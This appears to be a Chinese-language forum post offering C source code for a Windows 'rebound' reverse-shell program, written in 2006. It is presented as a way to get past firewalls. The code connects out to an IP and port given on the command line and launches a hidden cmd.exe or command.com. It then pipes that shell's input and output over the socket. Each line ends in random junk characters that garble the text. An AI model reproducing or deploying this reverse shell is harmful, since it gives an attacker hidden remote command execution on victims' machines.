这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @V
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/* ============================== %cif0Td
Rebound port in Windows NT &!aLOx*3`
By wind,2006/7 0r&9AnnWu+
===============================*/ HbVV]y
#include o8pe07n(W
#include g\h7`-#t
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#pragma comment(lib,"wsock32.lib") ZpBH;{.,
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void OutputShell(); G~L#vAY
SOCKET sClient; ^\9G{}VY
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .
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void main(int argc,char **argv) xE[tD? M{
{ gQt@xNO
WSADATA stWsaData; 1VsEic
int nRet; 'aWZ#GS*
SOCKADDR_IN stSaiClient,stSaiServer; oYM3$.{E
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if(argc != 3) H%%nB
{ 0cU^ue%
printf("Useage:\n\rRebound DestIP DestPort\n"); _NW OSt
return; [gY__
} UR=s{nFd
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WSAStartup(MAKEWORD(2,2),&stWsaData); *N+aZV}`Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _cs9R%
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stSaiClient.sin_family = AF_INET; QQ8W;x
stSaiClient.sin_port = htons(0); b:&$x (|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /Day5\Q#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?b$zuJ]
{ BC[d={_-
printf("Bind Socket Failed!\n"); pU'sADC
return; ~n
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} T+"y8#:
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stSaiServer.sin_family = AF_INET; T#f@8 -XUE
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LP_F"?4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @]3Rw[%z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SX,zJ`"
{ [63;8l}
printf("Connect Error!"); .ai9PsZ?V
return; (}8 ;3pp
} K)@Buu&,p
OutputShell(); 'Mqa2o'M
} : seL=
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void OutputShell() <}1%">RA
{ 7y7y<`)I5
char szBuff[1024]; .NC}TFN|
SECURITY_ATTRIBUTES stSecurityAttributes; %lmRe(M
OSVERSIONINFO stOsversionInfo; wpI4P:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7rg[5hP T
STARTUPINFO stStartupInfo; g3 rFJc
char *szShell; 3dphS ^X
PROCESS_INFORMATION stProcessInformation; 7T Bo*-!
unsigned long lBytesRead; PSE|4{'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "c*|vE
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r8.v0b"1
stSecurityAttributes.lpSecurityDescriptor = 0; \LXC269
stSecurityAttributes.bInheritHandle = TRUE; i%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TZ2f-KI
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s30_lddD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !m2k0|9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q Q8l8
stStartupInfo.wShowWindow = SW_HIDE; 5al{[mi
stStartupInfo.hStdInput = hReadPipe; =SnR9In
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w}b+vh^3Wy
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GetVersionEx(&stOsversionInfo); NBYE#Uih
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switch(stOsversionInfo.dwPlatformId) w (-n1oSo
{ $)~]4n=
case 1: L]}|{<3\
szShell = "command.com"; G9q0E|
break; ?J?!%Mw
default: K gX)fj
szShell = "cmd.exe"; e8.bH#
break; q4N$.hpb
} 7 '/&mX>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0k 8SDRWU
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send(sClient,szMsg,77,0); +pm8;&
while(1) F o6U"
{ vGw}e&YI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
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if(lBytesRead) m+"%Jd{q
{ jw[`\h}8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b1cd5
send(sClient,szBuff,lBytesRead,0); 1P_bG47
} 5
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else y;jyfc$
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{ {Se93o
lBytesRead=recv(sClient,szBuff,1024,0); $@j7VPE
if(lBytesRead<=0) break; /<Et
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *1n:
} 8ic_|hfY
} /H%pOL6(r
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return; BKEB,K=K@
}